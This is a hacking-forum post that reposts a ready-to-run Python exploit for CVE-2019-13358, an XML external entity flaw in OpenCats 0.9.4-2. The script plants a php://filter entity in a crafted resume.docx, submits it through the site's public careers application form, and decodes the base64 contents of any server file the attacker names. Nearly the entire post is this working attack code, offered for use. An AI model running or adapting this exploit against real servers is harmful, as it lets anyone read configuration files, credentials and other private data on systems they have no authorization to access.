Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE)

 Share


Recommended Posts

# Exploit Title: OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) 
# Date: 2021-09-20
# Exploit Author: Jake Ruston
# Vendor Homepage: https://opencats.org
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip
# Version: < 0.9.4-3
# Tested on: Linux
# CVE: 2019-13358

from argparse import ArgumentParser
from docx import Document
from zipfile import ZipFile
from base64 import b64decode
import requests
import re

xml = """
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [<!ENTITY file SYSTEM 'php://filter/convert.base64-encode/resource={}'>]>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mo="http://schemas.microsoft.com/office/mac/office/2008/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:mv="urn:schemas-microsoft-com:mac:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 wp14">
    <w:body>
        <w:p>
            <w:r>
                <w:t>START&file;END</w:t>
            </w:r>
        </w:p>
        <w:sectPr w:rsidR="00FC693F" w:rsidRPr="0006063C" w:rsidSect="00034616">
            <w:pgSz w:w="12240" w:h="15840"/>
            <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="720" w:footer="720" w:gutter="0"/>
            <w:cols w:space="720"/>
            <w:docGrid w:linePitch="360"/>
        </w:sectPr>
    </w:body>
</w:document>
"""

class CVE_2019_13358:
    def __init__(self):
        self.args = self.parse_arguments()

    def parse_arguments(self):
        parser = ArgumentParser()

        required = parser.add_argument_group("required arguments")
        required.add_argument("--url", help="the URL where OpenCATS is hosted", required=True)
        required.add_argument("--file", help="the remote file to read", required=True)

        args = parser.parse_args()

        if not args.url.startswith("http"):
            args.url = f"http://{args.url}"

        args.url = f"{args.url}/careers/index.php"

        return args

    def create_resume(self):
        document = Document()
        document.add_paragraph()
        document.save("resume.docx")

    def update_resume(self):
        with ZipFile("resume.docx", "r") as resume:
            resume.extractall()

        with open("word/document.xml", "w") as document:
            document.write(xml.format(self.args.file).strip())

        with ZipFile("resume.docx", "w") as resume:
            resume.write("word/document.xml")

    def get(self):
        params = { "m": "careers", "p": "showAll" }

        try:
            request = requests.get(self.args.url, params=params)
        except Exception as e:

            raise Exception("Failed to GET to the URL provided", e)

        id = re.search(r"ID=([0-9])*", request.text)

        if id is None:
            raise Exception("No vacancies were found")

        return id.group(1)

    def post(self, id):
        params = { "m": "careers", "p": "onApplyToJobOrder" }
        files = {
            "ID": (None, id),
            "candidateID": (None, -1),
            "applyToJobSubAction": (None, "resumeLoad"),
            "file": (None, ""),
            "resumeFile": open("resume.docx", "rb"),
            "resumeContents": (None, ""),
            "firstName": (None, ""),
            "lastName": (None, ""),
            "email": (None, ""),
            "emailconfirm": (None, ""),
            "phoneHome": (None, ""),
            "phoneCell": (None, ""),
            "phone": (None, ""),
            "bestTimeToCall": (None, ""),
            "address": (None, ""),
            "city": (None, ""),
            "state": (None, ""),
            "zip": (None, ""),
            "keySkills": (None, "")
        }

        try:
            request = requests.post(self.args.url, params=params, files=files)
        except Exception as e:
            raise Exception("Failed to POST to the URL provided", e)

        start = request.text.find("START")
        end = request.text.find("END")

        file = request.text[start + 5:end].strip()

        try:
            file = b64decode(file)
            file = file.decode("ascii").strip()
        except:
            raise Exception("File not found")

        print(file)

    def run(self):
        self.create_resume()
        self.update_resume()

        id = self.get()
        self.post(id)

CVE_2019_13358().run()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...